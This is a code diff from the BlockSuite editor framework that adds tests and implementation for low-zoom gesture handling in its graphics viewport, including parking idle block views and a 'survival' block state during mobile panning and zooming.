+    );
+
+    await Promise.all([
+      waitViewConnected(selectedId),
+      waitViewConnected(nearbyId),
+      waitViewConnected(farVisibleId),
+      waitViewConnected(outOfViewportId),
+    ]);
+
+    setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
+    setBlockXYWH(gfx, nearbyId, '[20,0,10,10]');
+    setBlockXYWH(gfx, farVisibleId, '[120,0,10,10]');
+    setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
+
+    const selectedModel = getTestGfxBlockModel(gfx, selectedId);
+    const nearbyModel = getTestGfxBlockModel(gfx, nearbyId);
+    const farVisibleModel = getTestGfxBlockModel(gfx, farVisibleId);
+    const selectedView = getTestGfxBlockView(gfx, selectedId);
+    const nearbyView = getTestGfxBlockView(gfx, nearbyId);
+    const farVisibleView = getTestGfxBlockView(gfx, farVisibleId);
+    const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
+
+    expect(selectedModel).not.toBeNull();
+    expect(nearbyModel).not.toBeNull();
+    expect(farVisibleModel).not.toBeNull();
+    expect(selectedView).not.toBeNull();
+    expect(nearbyView).not.toBeNull();
+    expect(farVisibleView).not.toBeNull();
+    expect(outOfViewportView).not.toBeNull();
+
+    gfx.selection.set({ elements: [selectedId], editing: false });
+    gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
+    gfx.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT = 1;
+
+    const shell = document.createElement('div');
+    Object.defineProperty(shell, 'offsetWidth', {
+      configurable: true,
+      get: () => 844,
+    });
+    shell.getBoundingClientRect = () => new DOMRect(0, 0, 844, 390);
+    (
+      gfx.viewport as unknown as {
+        _shell: HTMLElement;
+        _cachedBoundingClientRect: DOMRect;
+        _cachedOffsetWidth: number;
+      }
+    )._shell = shell;
+    (
+      gfx.viewport as unknown as {
+        _shell: HTMLElement;
+        _cachedBoundingClientRect: DOMRect;
+        _cachedOffsetWidth: number;
+      }
+    )._cachedBoundingClientRect = new DOMRect(0, 0, 844, 390);
+    (
+      gfx.viewport as unknown as {
+        _shell: HTMLElement;
+        _cachedBoundingClientRect: DOMRect;
+        _cachedOffsetWidth: number;
+      }
+    )._cachedOffsetWidth = 844;
+
+    gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
+    gfx.viewport.panning$.next(true);
+
+    const viewportElement = new GfxViewportElement();
+    viewportElement.host = editorContainer.std.host;
+    viewportElement.viewport = gfx.viewport;
+    viewportElement.getModelsInViewport = () =>
+      new Set([selectedModel, nearbyModel, farVisibleModel]);
+    document.body.append(viewportElement);
+    viewportElement.append(
+      selectedView,
+      nearbyView,
+      farVisibleView,
+      outOfViewportView
+    );
+
+    (
+      viewportElement as unknown as {
+        _hideOutsideAndNoSelectedBlock: () => void;
+      }
+    )._hideOutsideAndNoSelectedBlock();
+
+    expect(getViewportChildBlockIds(viewportElement)).toEqual([
+      selectedId,
+      nearbyId,
+    ]);
+    expect(farVisibleView.isConnected).toBe(false);
+    expect(outOfViewportView.isConnected).toBe(false);
+  });
+
+  test('restores parked low-zoom blocks after gesture recovery completes', async () => {
+    vi.useFakeTimers();
+    try {
+      const { editorContainer, gfx, surfaceId } = await commonSetup();
+      const waitViewConnected = waitGfxViewConnected(gfx);
+
+      const firstId = gfx.std.store.addBlock(
+        'test:gfx-block',
+        undefined,
+        surfaceId
+      );
+      const secondId = gfx.std.store.addBlock(
+        'test:gfx-block',
+        undefined,
+        surfaceId
+      );
+      const thirdId = gfx.std.store.addBlock(
+        'test:gfx-block',
+        undefined,
+        surfaceId
+      );
+
+      await Promise.all([
+        waitViewConnected(firstId),
+        waitViewConnected(secondId),
+        waitViewConnected(thirdId),
+      ]);
+
+      setBlockXYWH(gfx, firstId, '[0,0,10,10]');
+      setBlockXYWH(gfx, secondId, '[20,0,10,10]');
+      setBlockXYWH(gfx, thirdId, '[40,0,10,10]');
+
+      const firstModel = getTestGfxBlockModel(gfx, firstId);
+      const secondModel = getTestGfxBlockModel(gfx, secondId);
+      const thirdModel = getTestGfxBlockModel(gfx, thirdId);
+      const firstView = getTestGfxBlockView(gfx, firstId);
+      const secondView = getTestGfxBlockView(gfx, secondId);
+      const thirdView = getTestGfxBlockView(gfx, thirdId);
+
+      expect(firstModel).not.toBeNull();
+      expect(secondModel).not.toBeNull();
+      expect(thirdModel).not.toBeNull();
+      expect(firstView).not.toBeNull();
+      expect(secondView).not.toBeNull();
+      expect(thirdView).not.toBeNull();
+
+      gfx.selection.clear();
+      gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
+      gfx.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT = 1;
+
+      const shell = document.createElement('div');
+      Object.defineProperty(shell, 'offsetWidth', {
+        configurable: true,
+        get: () => 844,
+      });
+      shell.getBoundingClientRect = () => new DOMRect(0, 0, 844, 390);
+      (
+        gfx.viewport as unknown as {
+          _shell: HTMLElement;
+          _cachedBoundingClientRect: DOMRect;
+          _cachedOffsetWidth: number;
+        }
+      )._shell = shell;
+      (
+        gfx.viewport as unknown as {
+          _shell: HTMLElement;
+          _cachedBoundingClientRect: DOMRect;
+          _cachedOffsetWidth: number;
+        }
+      )._cachedBoundingClientRect = new DOMRect(0, 0, 844, 390);
+      (
+        gfx.viewport as unknown as {
+          _shell: HTMLElement;
+          _cachedBoundingClientRect: DOMRect;
+          _cachedOffsetWidth: number;
+        }
+      )._cachedOffsetWidth = 844;
+
+      gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
+      gfx.viewport.panning$.next(true);
+
+      const viewportElement = new GfxViewportElement();
+      viewportElement.host = editorContainer.std.host;
+      viewportElement.viewport = gfx.viewport;
+      viewportElement.getModelsInViewport = () =>
+        new Set([firstModel, secondModel, thirdModel]);
+      document.body.append(viewportElement);
+      viewportElement.append(firstView, secondView, thirdView);
+
+      (
+        viewportElement as unknown as {
+          _hideOutsideAndNoSelectedBlock: () => void;
+        }
+      )._hideOutsideAndNoSelectedBlock();
+
+      expect(viewportElement.children).toHaveLength(1);
+
+      gfx.viewport.panning$.next(false);
+      await vi.advanceTimersByTimeAsync(1200);
+
+      expect(new Set(getViewportChildBlockIds(viewportElement))).toEqual(
+        new Set([firstId, secondId, thirdId])
+      );
+      expect(firstView.transformState$.value).toBe('active');
+      expect(secondView.transformState$.value).toBe('active');
+      expect(thirdView.transformState$.value).toBe('active');
+
+      gfx.viewport.panning$.next(true);
+      (
+        viewportElement as unknown as {
+          _hideOutsideAndNoSelectedBlock: () => void;
+        }
+      )._hideOutsideAndNoSelectedBlock();
+      expect(viewportElement.children).toHaveLength(1);
+
+      gfx.viewport.panning$.next(false);
+      await vi.advanceTimersByTimeAsync(1200);
+
+      expect(new Set(getViewportChildBlockIds(viewportElement))).toEqual(
+        new Set([firstId, secondId, thirdId])
+      );
+      expect(firstView.transformState$.value).toBe('active');
+      expect(secondView.transformState$.value).toBe('active');
+      expect(thirdView.transformState$.value).toBe('active');
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+
+  test('programmatic low-zoom viewport changes do not arm gesture signals', async () => {
+    const { Viewport } = await import('../../gfx/index.js');
+
+    const viewport = new Viewport();
+    viewport.SKIP_REFRESH_DURING_GESTURE = true;
+    viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT = 1;
+
+    viewport.setViewport(0.4, [20, 0]);
+
+    expect(viewport.panning$.value).toBe(false);
+    expect(viewport.zooming$.value).toBe(false);
+    expect(
+      shouldUseLowZoomBlockSurvivalMode({
+        zoom: viewport.zoom,
+        skipRefreshDuringGesture: viewport.SKIP_REFRESH_DURING_GESTURE,
+        gestureActive: viewport.panning$.value || viewport.zooming$.value,
+      })
+    ).toBe(false);
+  });
+
+  test('programmatic low-zoom viewport changes still emit viewport updates', async () => {
+    const { Viewport } = await import('../../gfx/index.js');
+
+    const viewport = new Viewport();
+    viewport.SKIP_REFRESH_DURING_GESTURE = true;
+
+    const updates: Array<{ zoom: number; center: [number, number] }> = [];
+    const subscription = viewport.viewportUpdated.subscribe(
+      ({ zoom, center }) => {
+        updates.push({ zoom, center: [center[0], center[1]] });
+      }
+    );
+
+    viewport.setViewport(0.4, [20, 10]);
+
+    subscription.unsubscribe();
+
+    expect(updates).toEqual([
+      {
+        zoom: 0.4,
+        center: [20, 10],
+      },
+    ]);
+  });
+
+  test('idles out-of-viewport blocks on the first visibility refresh', async () => {
+    const { editorContainer, gfx, surfaceId } = await commonSetup();
+    const waitViewConnected = waitGfxViewConnected(gfx);
+
+    const selectedId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const inViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const outOfViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+
+    await Promise.all([
+      waitViewConnected(selectedId),
+      waitViewConnected(inViewportId),
+      waitViewConnected(outOfViewportId),
+    ]);
+
+    setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
+    setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
+    setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
+
+    const selectedModel = getTestGfxBlockModel(gfx, selectedId);
+    const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
+    const selectedView = getTestGfxBlockView(gfx, selectedId);
+    const inViewportView = getTestGfxBlockView(gfx, inViewportId);
+    const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
+
+    expect(selectedModel).not.toBeNull();
+    expect(inViewportModel).not.toBeNull();
+    expect(selectedView).not.toBeNull();
+    expect(inViewportView).not.toBeNull();
+    expect(outOfViewportView).not.toBeNull();
+
+    gfx.selection.set({ elements: [selectedId], editing: false });
+
+    const viewportElement = new GfxViewportElement();
+    viewportElement.host = editorContainer.std.host;
+    viewportElement.viewport = gfx.viewport;
+    viewportElement.getModelsInViewport = () =>
+      new Set([selectedModel, inViewportModel]);
+
+    (
+      viewportElement as unknown as {
+        _hideOutsideAndNoSelectedBlock: () => void;
+      }
+    )._hideOutsideAndNoSelectedBlock();
+
+    expect(selectedView.transformState$.value).toBe('active');
+    expect(inViewportView.transformState$.value).toBe('active');
+    expect(outOfViewportView.transformState$.value).toBe('idle');
+  });
+
+  test('demotes visible unselected blocks immediately when zoom crosses into survival mode', async () => {
+    const { editorContainer, gfx, surfaceId } = await commonSetup();
+    const waitViewConnected = waitGfxViewConnected(gfx);
+
+    const selectedId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const inViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const outOfViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+
+    await Promise.all([
+      waitViewConnected(selectedId),
+      waitViewConnected(inViewportId),
+      waitViewConnected(outOfViewportId),
+    ]);
+
+    setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
+    setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
+    setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
+
+    const selectedModel = getTestGfxBlockModel(gfx, selectedId);
+    const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
+    const selectedView = getTestGfxBlockView(gfx, selectedId);
+    const inViewportView = getTestGfxBlockView(gfx, inViewportId);
+    const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
+
+    expect(selectedModel).not.toBeNull();
+    expect(inViewportModel).not.toBeNull();
+    expect(selectedView).not.toBeNull();
+    expect(inViewportView).not.toBeNull();
+    expect(outOfViewportView).not.toBeNull();
+
+    gfx.selection.set({ elements: [selectedId], editing: false });
+    gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
+
+    const viewportElement = new GfxViewportElement();
+    viewportElement.host = editorContainer.std.host;
+    viewportElement.viewport = gfx.viewport;
+    viewportElement.getModelsInViewport = () =>
+      new Set([selectedModel, inViewportModel]);
+
+    (
+      viewportElement as unknown as {
+        _hideOutsideAndNoSelectedBlock: () => void;
+      }
+    )._hideOutsideAndNoSelectedBlock();
+
+    expect(selectedView.transformState$.value).toBe('active');
+    expect(inViewportView.transformState$.value).toBe('active');
+    expect(outOfViewportView.transformState$.value).toBe('idle');
+
+    document.body.append(viewportElement);
+    gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
+    await Promise.resolve();
+
+    expect(selectedView.transformState$.value).toBe('active');
+    expect(inViewportView.transformState$.value).toBe('survival');
+    expect(outOfViewportView.transformState$.value).toBe('idle');
+  });
+
+  test('chunked low-zoom refresh idles out-of-viewport blocks on the first pass', async () => {
+    const { editorContainer, gfx, surfaceId } = await commonSetup();
+    const waitViewConnected = waitGfxViewConnected(gfx);
+
+    const selectedId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const inViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const outOfViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+
+    await Promise.all([
+      waitViewConnected(selectedId),
+      waitViewConnected(inViewportId),
+      waitViewConnected(outOfViewportId),
+    ]);
+
+    setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
+    setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
+    setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
+
+    const selectedModel = getTestGfxBlockModel(gfx, selectedId);
+    const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
+    const selectedView = getTestGfxBlockView(gfx, selectedId);
+    const inViewportView = getTestGfxBlockView(gfx, inViewportId);
+    const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
+
+    expect(selectedModel).not.toBeNull();
+    expect(inViewportModel).not.toBeNull();
+    expect(selectedView).not.toBeNull();
+    expect(inViewportView).not.toBeNull();
+    expect(outOfViewportView).not.toBeNull();
+
+    gfx.selection.set({ elements: [selectedId], editing: false });
+    gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
+    gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
+
+    const viewportElement = new GfxViewportElement();
+    viewportElement.host = editorContainer.std.host;
+    viewportElement.viewport = gfx.viewport;
+    viewportElement.getModelsInViewport = () =>
+      new Set([selectedModel, inViewportModel]);
+
+    await new Promise<void>(resolve => {
+      (
+        viewportElement as unknown as {
+          _chunkedHideOutsideAndNoSelectedBlock: (
+            onComplete?: () => void
+          ) => () => void;
+        }
+      )._chunkedHideOutsideAndNoSelectedBlock(resolve);
+    });
+
+    expect(selectedView.transformState$.value).toBe('active');
+    expect(inViewportView.transformState$.value).toBe('survival');
+    expect(outOfViewportView.transformState$.value).toBe('idle');
+  });
+
+  test('newly mounted blocks inherit the current low-zoom visibility state', async () => {
+    const { editorContainer, gfx, surfaceId } = await commonSetup();
+    const waitViewConnected = waitGfxViewConnected(gfx);
+
+    const selectedId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    await waitViewConnected(selectedId);
+    setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
+
+    const selectedModel = getTestGfxBlockModel(gfx, selectedId);
+    const selectedView = getTestGfxBlockView(gfx, selectedId);
+
+    expect(selectedModel).not.toBeNull();
+    expect(selectedView).not.toBeNull();
+
+    gfx.selection.set({ elements: [selectedId], editing: false });
+    gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
+    gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
+
+    const viewportModels = new Set([selectedModel]);
+    const viewportElement = new GfxViewportElement();
+    viewportElement.host = editorContainer.std.host;
+    viewportElement.viewport = gfx.viewport;
+    viewportElement.getModelsInViewport = () => viewportModels;
+    document.body.append(viewportElement);
+
+    const inViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const outOfViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+
+    setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
+    setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
+
+    const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
+    const outOfViewportModel = getTestGfxBlockModel(gfx, outOfViewportId);
+
+    expect(inViewportModel).not.toBeNull();
+    expect(outOfViewportModel).not.toBeNull();
+
+    viewportModels.add(inViewportModel);
+
+    await Promise.all([
+      waitViewConnected(inViewportId),
+      waitViewConnected(outOfViewportId),
+    ]);
+
+    const inViewportView = getTestGfxBlockView(gfx, inViewportId);
+    const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
+
+    expect(inViewportView).not.toBeNull();
+    expect(outOfViewportView).not.toBeNull();
+    expect(selectedView.transformState$.value).toBe('active');
+    expect(inViewportView.transformState$.value).toBe('survival');
+    expect(outOfViewportView.transformState$.value).toBe('idle');
+  });
+
+  test('demotes stale active blocks immediately when low-zoom resize starts', async () => {
+    const { editorContainer, gfx, surfaceId } = await commonSetup();
+    const waitViewConnected = waitGfxViewConnected(gfx);
+
+    const selectedId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const inViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+    const outOfViewportId = gfx.std.store.addBlock(
+      'test:gfx-block',
+      undefined,
+      surfaceId
+    );
+
+    await Promise.all([
+      waitViewConnected(selectedId),
+      waitViewConnected(inViewportId),
+      waitViewConnected(outOfViewportId),
+    ]);
+
+    setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
+    setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
+    setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
+
+    const selectedModel = getTestGfxBlockModel(gfx, selectedId);
+    const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
+    const selectedView = getTestGfxBlockView(gfx, selectedId);
+    const inViewportView = getTestGfxBlockView(gfx, inViewportId);
+    const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
+
+    expect(selectedModel).not.toBeNull();
+    expect(inViewportModel).not.toBeNull();
+    expect(selectedView).not.toBeNull();
+    expect(inViewportView).not.toBeNull();
+    expect(outOfViewportView).not.toBeNull();
+
+    gfx.selection.set({ elements: [selectedId], editing: false });
+    gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
+    gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
+
+    const viewportElement = new GfxViewportElement();
+    viewportElement.host = editorContainer.std.host;
+    viewportElement.viewport = gfx.viewport;
+    viewportElement.getModelsInViewport = () =>
+      new Set([selectedModel, inViewportModel]);
+    document.body.append(viewportElement);
+
+    const shell = document.createElement('div');
+    Object.defineProperty(shell, 'offsetWidth', {
+      configurable: true,
+      get: () => 844,
+    });
+    shell.getBoundingClientRect = () => new DOMRect(0, 0, 844, 390);
+    (
+      gfx.viewport as unknown as {
+        _shell: HTMLElement;
+        _cachedBoundingClientRect: DOMRect;
+        _cachedOffsetWidth: number;
+      }
+    )._shell = shell;
+    (
+      gfx.viewport as unknown as {
+        _shell: HTMLElement;
+        _cachedBoundingClientRect: DOMRect;
+        _cachedOffsetWidth: number;
+      }
+    )._cachedBoundingClientRect = new DOMRect(0, 0, 844, 390);
+    (
+      gfx.viewport as unknown as {
+        _shell: HTMLElement;
+        _cachedBoundingClientRect: DOMRect;
+        _cachedOffsetWidth: number;
+      }
+    )._cachedOffsetWidth = 844;
+
+    selectedView.transformState$.value = 'active';
+    inViewportView.transformState$.value = 'active';
+    outOfViewportView.transformState$.value = 'active';
+
+    gfx.viewport.onResize();
+
+    expect(selectedView.transformState$.value).toBe('active');
+    expect(inViewportView.transformState$.value).toBe('survival');
+    expect(outOfViewportView.transformState$.value).toBe('idle');
+  });
+
+  test('resize completion clears low-zoom gesture recovery before sizeUpdated subscribers run', async () => {
+    const { gfx } = await commonSetup();
+
+    gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
+
+    const shell = document.createElement('div');
+    Object.defineProperty(shell, 'offsetWidth', {
+      configurable: true,
+      get: () => 844,
+    });
+    shell.getBoundingClientRect = () => new DOMRect(0, 0, 844, 390);
+    (
+      gfx.viewport as unknown as {
+        _shell: HTMLElement;
+        _cachedBoundingClientRect: DOMRect;
+        _cachedOffsetWidth: number;
+      }
+    )._shell = shell;
+    (
+      gfx.viewport as unknown as {
+        _shell: HTMLElement;
+        _cachedBoundingClientRect: DOMRect;
+        _cachedOffsetWidth: number;
+      }
+    )._cachedBoundingClientRect = new DOMRect(0, 0, 844, 390);
+    (
+      gfx.viewport as unknown as {
+        _shell: HTMLElement;
+        _cachedBoundingClientRect: DOMRect;
+        _cachedOffsetWidth: number;
+      }
+    )._cachedOffsetWidth = 844;
+
+    let panningAtSizeUpdated: boolean | null = null;
+    let zoomingAtSizeUpdated: boolean | null = null;
+    let blockSurvivalAtSizeUpdated: boolean | null = null;
+    let canvasRecoveryDelayAtSizeUpdated: number | null = null;
+
+    const subscription = gfx.viewport.sizeUpdated.subscribe(() => {
+      const gestureActive =
+        gfx.viewport.panning$.value || gfx.viewport.zooming$.value;
+
+      panningAtSizeUpdated = gfx.viewport.panning$.value;
+      zoomingAtSizeUpdated = gfx.viewport.zooming$.value;
+      blockSurvivalAtSizeUpdated = shouldUseLowZoomBlockSurvivalMode({
+        zoom: gfx.viewport.zoom,
+        skipRefreshDuringGesture: gfx.viewport.SKIP_REFRESH_DURING_GESTURE,
+        gestureActive,
+      });
+      canvasRecoveryDelayAtSizeUpdated = getPostGestureRecoveryDelay({
+        isPanning: gfx.viewport.panning$.value,
+        isZooming: gfx.viewport.zooming$.value,
+        fallbackDelayMs: 800,
+      });
+    });
+
+    gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
+    gfx.viewport.onResize();
+
+    await new Promise(resolve => setTimeout(resolve, 300));
+    subscription.unsubscribe();
+
+    expect(panningAtSizeUpdated).toBe(false);
+    expect(zoomingAtSizeUpdated).toBe(false);
+    expect(blockSurvivalAtSizeUpdated).toBe(false);
+    expect(canvasRecoveryDelayAtSizeUpdated).toBe(0);
+  });
+
   test('local element view should be created', async () => {
     const { gfx, surfaceModel } = await commonSetup();
     const localElement = new TestLocalElement(surfaceModel);

blocksuite/framework/std/src/gfx/viewport-element.ts

@@ -1,3 +1,4 @@
+import type { Bound } from '@blocksuite/global/gfx';
 import { WithDisposable } from '@blocksuite/global/lit';
 import { batch } from '@preact/signals-core';
 import { css, html } from 'lit';
@@ -11,7 +12,11 @@ import {
 import { PropTypes, requiredProperties } from '../view/decorators/required';
 import { GfxControllerIdentifier } from './identifiers';
 import { GfxBlockElementModel } from './model/gfx-block-model';
-import { Viewport } from './viewport';
+import {
+  getPostGestureRecoveryDelay,
+  Viewport,
+  viewportRuntimeConfig,
+} from './viewport';
 
 /**
  * A wrapper around `requestConnectedFrame` that only calls at most once in one frame
@@ -37,6 +42,123 @@ export function requestThrottledConnectedFrame<
   }) as T;
 }
 
+export function getGestureTransformMinInterval({
+  isPureTranslate,
+  zoom,
+}: {
+  isPureTranslate: boolean;
+  zoom: number;
+}) {
+  if (!isPureTranslate) {
+    return 32;
+  }
+
+  return zoom <= 0.5 ? 32 : 0;
+}
+
+export function shouldSkipGestureTransformWrite({
+  isPureTranslate,
+  zoom,
+  elapsedMs,
+}: {
+  isPureTranslate: boolean;
+  zoom: number;
+  elapsedMs: number;
+}) {
+  const minInterval = getGestureTransformMinInterval({
+    isPureTranslate,
+    zoom,
+  });
+
+  return minInterval > 0 && elapsedMs < minInterval;
+}
+
+const LOW_ZOOM_BLOCK_SURVIVAL_THRESHOLD = 0.5;
+
+export function shouldUseLowZoomBlockSurvivalMode({
+  zoom,
+  skipRefreshDuringGesture,
+  gestureActive,
+}: {
+  zoom: number;
+  skipRefreshDuringGesture: boolean;
+  gestureActive: boolean;
+}) {
+  return (
+    skipRefreshDuringGesture &&
+    gestureActive &&
+    zoom <= LOW_ZOOM_BLOCK_SURVIVAL_THRESHOLD
+  );
+}
+
+export function getLowZoomGestureActiveModels<
+  T extends { elementBound: Bound; id: string },
+>({
+  selectedModels,
+  viewportModels,
+  viewportBounds,
+  nearbyActiveBlockLimit,
+  nearbyDistanceRatio,
+}: {
+  selectedModels: Set<T>;
+  viewportModels: Set<T>;
+  viewportBounds: Bound;
+  nearbyActiveBlockLimit: number;
+  nearbyDistanceRatio: number;
+}): Set<T> {
+  const activeModels = new Set<T>(selectedModels);
+  if (nearbyActiveBlockLimit <= 0) {
+    return activeModels;
+  }
+
+  const viewportCenter = viewportBounds.center;
+  const maxNearbyDistance =
+    Math.min(viewportBounds.w, viewportBounds.h) * nearbyDistanceRatio;
+
+  if (selectedModels.size === 0) {
+    const fallback = [...viewportModels]
+      .sort((left, right) => {
+        const [leftX, leftY] = left.elementBound.center;
+        const [rightX, rightY] = right.elementBound.center;
+        const leftDistance = Math.hypot(
+          leftX - viewportCenter[0],
+          leftY - viewportCenter[1]
+        );
+        const rightDistance = Math.hypot(
+          rightX - viewportCenter[0],
+          rightY - viewportCenter[1]
+        );
+        return leftDistance - rightDistance;
+      })
+      .slice(0, nearbyActiveBlockLimit);
+
+    fallback.forEach(model => activeModels.add(model));
+    return activeModels;
+  }
+
+  const selectedCenters = [...selectedModels].map(
+    model => model.elementBound.center
+  );
+
+  const nearbyCandidates = [...viewportModels]
+    .filter(model => !selectedModels.has(model))
+    .map(model => {
+      const [x, y] = model.elementBound.center;
+      const distance = Math.min(
+        ...selectedCenters.map(([selectedX, selectedY]) =>
+          Math.hypot(x - selectedX, y - selectedY)
+        )
+      );
+      return { distance, model };
+    })
+    .filter(candidate => candidate.distance <= maxNearbyDistance)
+    .sort((left, right) => left.distance - right.distance)
+    .slice(0, nearbyActiveBlockLimit);
+
+  nearbyCandidates.forEach(candidate => activeModels.add(candidate.model));
+  return activeModels;
+}
+
 @requiredProperties({
   viewport: PropTypes.instanceOf(Viewport),
 })
@@ -45,6 +167,20 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
 
   private static readonly VIEWPORT_REFRESH_MAX_INTERVAL = 120;
 
+  private get _pixelThreshold() {
+    return (
+      this.viewport?.VIEWPORT_REFRESH_PIXEL_THRESHOLD ??
+      GfxViewportElement.VIEWPORT_REFRESH_PIXEL_THRESHOLD
+    );
+  }
+
+  private get _maxInterval() {
+    return (
+      this.viewport?.VIEWPORT_REFRESH_MAX_INTERVAL ??
+      GfxViewportElement.VIEWPORT_REFRESH_MAX_INTERVAL
+    );
+  }
+
   static override styles = css`
     gfx-viewport {
       position: absolute;
@@ -63,38 +199,163 @@ export class GfxViewportElement extends WithDisposable(ShadowlessElement) {
       contain: size layout style;
     }
 
+    /*
+     * Mobile (SKIP_REFRESH_DURING_GESTURE) drives gestures with a single
+     * container-level transform on <gfx-viewport>; the idle blocks never
+     * change their own transform during the gesture. In that mode
+     * 'will-change: transform' is actively harmful: WKWebView promotes every
+     * hidden idle block (100+) to its own compositing layer and re-transforms
+     * all of them each frame, producing a ~100ms main-thread/compositor stall
+     * that terminates the web content process. Releasing the hint lets them
+     * ride along as raster content of the single container layer.
+     * Desktop (no attribute) keeps will-change because it transforms blocks
+     * individually per frame, where the hint is a real win.
+     */
+    gfx-viewport[data-skip-gesture-refresh] .block-idle {
+      will-change: auto;
+    }
+
     /* CSS for active blocks participating in viewport transformations */
     .block-active {
       visibility: visible;
       pointer-events: auto;
     }
+
+    /* Survival blocks stay visually mounted but stop participating in input. */
+    .block-survival {
+      visibility: visible;
+      pointer-events: none;
+    }
   `;
 
+  private readonly _parkedBlockViews = new Map<
+    string,
+    { placeholder: Comment; view: HTMLElement }
+  >();
+
+  private readonly _parkedBlockFragment = document.createDocumentFragment();
+
+  private _shouldParkIdleBlocks() {
+    return (
+      shouldUseLowZoomBlockSurvivalMode({
+        zoom: this.viewport.zoom,
+        skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
+        gestureActive:
+          this.viewport.panning$.value || this.viewport.zooming$.value,
+      }) && this.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT > 0
+    );
+  }
+
+  private _restoreParkedBlockViews() {
+    this._parkedBlockViews.forEach(({ placeholder, view }) => {
+      if (placeholder.parentNode === this) {
+        placeholder.replaceWith(view);
+      } else if (!view.isConnected) {
+        this.append(view);
+      }
+      placeholder.remove();
+    });
+    this._parkedBlockViews.clear();
+  }
+
+  private _syncMountedBlockViews(
+    shouldRemainMounted: Set<GfxBlockElementModel>
+  ) {
+    if (!this.host) return;
+
+    if (!this._shouldParkIdleBlocks()) {
+      this._restoreParkedBlockViews();
+      return;
+    }
+
+    const gfx = this.host.std.get(GfxControllerIdentifier);
+    gfx.std.view.views.forEach(view => {
+      if (!isGfxBlockComponent(view)) return;
+
+      const parked = this._parkedBlockViews.get(view.model.id);
+      if (shouldRemainMounted.has(view.model)) {
+        if (parked) {
+          if (parked.placeholder.parentNode === this) {
+            parked.placeholder.replaceWith(view);
+          } else if (!view.isConnected) {
+            this.append(view);
+          }
+          parked.placeholder.remove();
+          this._parkedBlockViews.delete(view.model.id);
+        } else if (!view.isConnected || view.parentElement !== this) {
+          this.append(view);
+        }
+        return;
+      }
+
+      if (parked || view.parentElement !== this) {
+        return;
+      }
+
+      const placeholder = document.createComment(`parked:${view.model.id}`);
+      this.replaceChild(placeholder, view);
+      this._parkedBlockFragment.append(view);
+      this._parkedBlockViews.set(view.model.id, {
+        placeholder,
+        view,
+      });
+    });
+  }
+
   private readonly _hideOutsideAndNoSelectedBlock = () => {
     if (!this.host) return;
 
